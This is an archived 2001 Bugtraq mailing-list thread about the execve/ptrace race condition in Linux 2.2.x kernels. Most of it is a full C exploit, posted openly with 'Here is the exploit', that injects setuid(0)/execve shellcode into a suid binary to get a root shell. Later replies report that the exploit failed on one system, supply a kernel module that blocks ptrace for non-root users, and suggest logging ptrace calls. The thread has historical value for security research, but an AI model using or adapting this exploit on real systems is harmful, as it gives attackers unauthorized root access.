6962348 2001-08-23 18:31 -0400  /29 rader/ Silvio Mazzaro <mazzaro@tiscalinet.it>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-23  20:05  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: mazzaro@inwind.it
Mottagare: Bugtraq (import) <18925>
Ärende: Linux Kernel 2.2.x
------------------------------------------------------------
-----BEGIN PGP SIGNED MESSAGE-----
Hash: RIPEMD160

Hi all!!

The execve/ptrace race condition still appears to work on linux kernel
2.2.19..

Here is the exploit...

Bye,
  Silvio


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iQEeBAEUAwAGBQI7hYRJAAoJEHe79juiogw+Pj0D/0rERiZzpxs8DBJVKjTcgewu
+WguYw1xXwye9bCFNZqfmJAepOls+MByzscom6s3JOXfdEUhmVfuFSQAKVBit8ou
zgAhIbYyMyh4mjE0+U6ujHupohtqtYh4nh2URX/+r+nWu9Qhvdv0OKDgGlmOsWJR
0y0zjm1eLhdRNMbNIfRrA/9JfrAy/2YrhwuDg81vjdQauUxETYc7fQuLDSlA4YKZ
ELwsG1TlTYf9ZU6YP06KdLG7YIBzp/eFAJI0KHO1/Lw5dROrQYLZ6uqxgfdcQ/Sx
pTpDw4ds7q1DdeYNPYiHefFtMFHaO5hQMGHNlHfKlfPZ9J+HO6MfI/w6dR9zQOyq
hw==
=v6Hm
-----END PGP SIGNATURE-----
(6962348) /Silvio Mazzaro <mazzaro@tiscalinet.it>/--
Bilaga (text/x-c) i text 6962349
Kommentar i text 6962978 av William D. Colburn (aka Schlake) <wcolburn@nmt.edu>
Kommentar i text 6968917 av Mariusz Woloszyn <emsi@ipartners.pl>
6962349 2001-08-23 18:31 -0400  /193 rader/ Silvio Mazzaro <mazzaro@tiscalinet.it>
Bilagans filnamn: "a2.c"
Importerad: 2001-08-23  20:05  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: mazzaro@inwind.it
Mottagare: Bugtraq (import) <18926>
Bilaga (text/plain) till text 6962348
Ärende: Bilaga (a2.c) till: Linux Kernel 2.2.x
------------------------------------------------------------
/* 
* epcs2 (improved by lst [liquid@dqc.org]) 
* -------- 
* exploit for execve/ptrace race condition in Linux kernel up to 2.2.18 
* 
* originally by: 
* (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl> 
* 
* improved by: 
* lst [liquid@dqc.org] 
* 
* This sploit does _not_ use brute force. It does not need that. 
* It does only one attemt to sploit the race condition in execve.  
* Parent process waits for a context-switch that occur after  
* child task sleep in execve. 
* 
* It should work even on openwall-patched kernels (I haven't tested it). 
* 
* Compile it: 
* cc epcs.c -o epcs 
* Usage: 
* ./epcs [victim] 
* 
* It gives instant root shell with any of a suid binaries. 
* 
* If it does not work, try use some methods to ensure that execve 
* would sleep while loading binary file into memory, 
* 
* i.e.: cat /usr/lib/* >/dev/null 2>&1 
* 
* Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4 
* This exploit does not work on 2.4.x because kernel won't set suid  
* privileges if user ptraces a binary. 
* But it is still exploitable on these kernels. 
* 
* Thanks to Bulba (he made me to take a look at this bug ;) ) 
* Greetings to SigSegv team. 
* 
* -- d00t 
* improved by lst [liquid@dqc.org] 
* props to kevin for most of the work 
* 
* now works on stack non-exec systems with some neat trickery for the automated 
* method, ie. no need to find the bss segment via objdump 
* 
* particularly it now rewrites the code instruction sets in the  
* dynamic linker _start segment and continues execution from there. 
*  
* an aside, due to the fact that the code self-modified, it wouldnt work 
* quite correctly on a stack non-exec system without playing directly with 
* the bss segment (ie no regs.eip = regs.esp change). this is much more  
* automated. however, do note that the previous version did not trigger stack  
* non-exec warnings due to how it was operating. note that the regs.eip = regs.esp  
* method will break on stack non-exec systems. 
* 
* as always.. enjoy. 
* 
*/ 

#include <stdio.h> 
#include <fcntl.h> 
#include <sys/types.h> 
#include <signal.h> 
#include <linux/user.h> 
#include <sys/wait.h> 
#include <limits.h> 
#include <errno.h> 
#include <stdlib.h> 

#define CS_SIGNAL SIGUSR1 
#define VICTIM "/usr/bin/passwd" 
#define SHELL "/bin/sh" 

/* 
* modified simple shell code with some trickery (hand tweaks) 
*/ 
char shellcode[]= 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ 
"\x31\xc0\xb0\x2e\xcd\x80" 
"\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */ 
"\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */ 
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89" 
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff" 
"\xff" SHELL "\x00\x00\x00" ; /* pad me */ 

volatile int cs_detector=0; 

void cs_sig_handler(int sig) 
{ 
  cs_detector=1; 
} 

void do_victim(char * filename) 
{ 
  while (!cs_detector) ; 
  kill(getppid(), CS_SIGNAL); 
  execl(filename, filename, NULL); 
  perror("execl"); 
  exit(-1); 
} 

int check_execve(pid_t victim, char * filename) 
{ 
  char path[PATH_MAX+1]; 
  char link[PATH_MAX+1]; 
  int res; 

  snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim); 
  if (readlink(path, link, sizeof(link)-1)<0) { 
    perror("readlink"); 
    return -1; 
  } 

  link[sizeof(link)-1]='\0'; 
  res=!strcmp(link, filename); 
  if (res) fprintf(stderr, "child slept outside of execve\n"); 
  return res; 
} 

int main(int argc, char * argv[]) 
{ 
  char * filename=VICTIM; 
  pid_t victim; 
  int error, i; 
  struct user_regs_struct regs; 

  /* take our command args if you wanna play with other progs */ 
  if (argc>1) filename=argv[1]; 

  signal(CS_SIGNAL, cs_sig_handler); 

  victim=fork(); 
  if (victim<0) { 
    perror("fork: victim"); 
    exit(-1); 
  } 
  if (victim==0) do_victim(filename); 

  kill(victim, CS_SIGNAL); 
  while (!cs_detector) ; 

  if (ptrace(PTRACE_ATTACH, victim)) { 
    perror("ptrace: PTRACE_ATTACH"); 
    goto exit; 
  } 

  if (check_execve(victim, filename)) 
    goto exit; 

  (void)waitpid(victim, NULL, WUNTRACED); 
  if (ptrace(PTRACE_CONT, victim, 0, 0)) { 
    perror("ptrace: PTRACE_CONT"); 
    goto exit; 
  } 

  (void)waitpid(victim, NULL, WUNTRACED); 

  if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) { 
    perror("ptrace: PTRACE_GETREGS"); 
    goto exit; 
  } 

  /* make sure that last null is in there */ 
  for (i=0; i<=strlen(shellcode); i+=4) { 
    if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i, 
      *(int*)(shellcode+i))) { 
      perror("ptrace: PTRACE_POKETEXT"); 
      goto exit; 
    } 
  } 

  if (ptrace(PTRACE_SETREGS, victim, 0, ®s)) { 
    perror("ptrace: PTRACE_SETREGS"); 
    goto exit; 
  } 

  fprintf(stderr, "bug exploited successfully.\nenjoy!\n"); 

  if (ptrace(PTRACE_DETACH, victim, 0, 0)) { 
    perror("ptrace: PTRACE_DETACH"); 
    goto exit; 
  } 

  (void)waitpid(victim, NULL, 0); 
  return 0; 

exit: 
  fprintf(stderr, "d0h! error!\n"); 
  kill(victim, SIGKILL); 
  return -1; 
}
(6962349) /Silvio Mazzaro <mazzaro@tiscalinet.it>/--
6962978 2001-08-23 11:17 -0600  /23 rader/ William D. Colburn (aka Schlake) <wcolburn@nmt.edu>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-23  21:51  av Brevbäraren
Extern mottagare: mazzaro@inwind.it
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18928>
Kommentar till text 6962348 av Silvio Mazzaro <mazzaro@tiscalinet.it>
Ärende: Re: Linux Kernel 2.2.x
------------------------------------------------------------
From: "William D. Colburn (aka Schlake)" <wcolburn@nmt.edu>
To: mazzaro@inwind.it
Cc: bugtraq@securityfocus.com
Message-ID: <20010823111719.A23822@nmt.edu>

I tried a variety of suid executables on a linux 2.2.19 and I was
unable to get a root shell.

On Thu, Aug 23, 2001 at 06:31:30PM -0400, Silvio Mazzaro wrote:
> Hi all!!
> 
> The execve/ptrace race condition still appears to work on linux kernel
> 2.2.19..
> 
> Here is the exploit...


--
William Colburn, "Sysprog" <wcolburn@nmt.edu>
Computer Center, New Mexico Institute of Mining and Technology
http://www.nmt.edu/tcc/     http://www.nmt.edu/~wcolburn
(6962978) /William D. Colburn (aka Schlake) <wcolburn@nmt.edu>/(Ombruten)
6968917 2001-08-24 11:54 +0200  /18 rader/ Mariusz Woloszyn <emsi@ipartners.pl>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-24  18:58  av Brevbäraren
Extern mottagare: mazzaro@inwind.it
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18937>
Kommentar till text 6962348 av Silvio Mazzaro <mazzaro@tiscalinet.it>
Ärende: Re: Linux Kernel 2.2.x
------------------------------------------------------------
On Thu, 23 Aug 2001, Silvio Mazzaro wrote:

> The execve/ptrace race condition still appears to work on linux kernel
> 2.2.19..
>
 
Again attached module disables ptrace for non root users. Id does not
solve the problem, but prevents exploiting it.

NOTE: there may be another way to exploit this vulnerability!

p.s. gcc -c npt.c; insmod ./npt.o 

--
Mariusz Wo³oszyn
Internet Security Specialist, Internet Partners
(6968917) /Mariusz Woloszyn <emsi@ipartners.pl>/----
Bilaga (text/plain) i text 6968918
Kommentar i text 6970279 av Wojtek Kaniewski <wojtekka@bydg.pdi.net>
6970279 2001-08-24 23:07 +0200  /18 rader/ Wojtek Kaniewski <wojtekka@bydg.pdi.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-24  23:42  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18943>
Kommentar till text 6968917 av Mariusz Woloszyn <emsi@ipartners.pl>
Ärende: Re: Linux Kernel 2.2.x
------------------------------------------------------------
From: Wojtek Kaniewski <wojtekka@bydg.pdi.net>
To: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0108242303180.8653-100000@noghri.bydg.pdi.net>

On Fri, 24 Aug 2001, Mariusz Woloszyn wrote:
> Again attached module disables ptrace for non root users. Id does not
> solve the problem, but prevents exploiting it.

adding something like...

  printk("ptrace(): uid=%d, comm=%s\n", current->uid, current->comm);

...before ,,return'' helps spotting potential abusers.

regards,
wojtek
(6970279) /Wojtek Kaniewski <wojtekka@bydg.pdi.net>/
6968918 2001-08-24 11:54 +0200  /50 rader/ Mariusz Woloszyn <emsi@ipartners.pl>
Bilagans filnamn: "npt.c"
Importerad: 2001-08-24  18:58  av Brevbäraren
Extern mottagare: mazzaro@inwind.it
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18938>
Bilaga (text/plain) till text 6968917
Ärende: Bilaga (npt.c) till: Re: Linux Kernel 2.2.x
------------------------------------------------------------
/* no ptrace module
   fast prevention for kenrel bug
   (c) 2001 a Lam3rZ oddysey
*/


#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/sched.h>
#include <linux/unistd.h>
#include <sys/syscall.h>

#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) ((a)*65536+(b)*256+(c))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0)
#include <asm/unistd.h>
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,14)
#include <bits/syscall.h>
#endif

extern void *sys_call_table[];

int (*orig_ptrace)(int, int, int, int);

int no_ptrace (int request, int pid, int addr, int data) {
	if (current->euid ==0 ) {
		return (orig_ptrace)(request, pid, addr, data);
	} else 
	return -1;
}


int init_module(void) {
	
	orig_ptrace = sys_call_table[__NR_ptrace];
	sys_call_table[__NR_ptrace]=no_ptrace;
	return 0;
}

void cleanup_module(void) {
	
	sys_call_table[__NR_ptrace]=orig_ptrace;
}
(6968918) /Mariusz Woloszyn <emsi@ipartners.pl>/----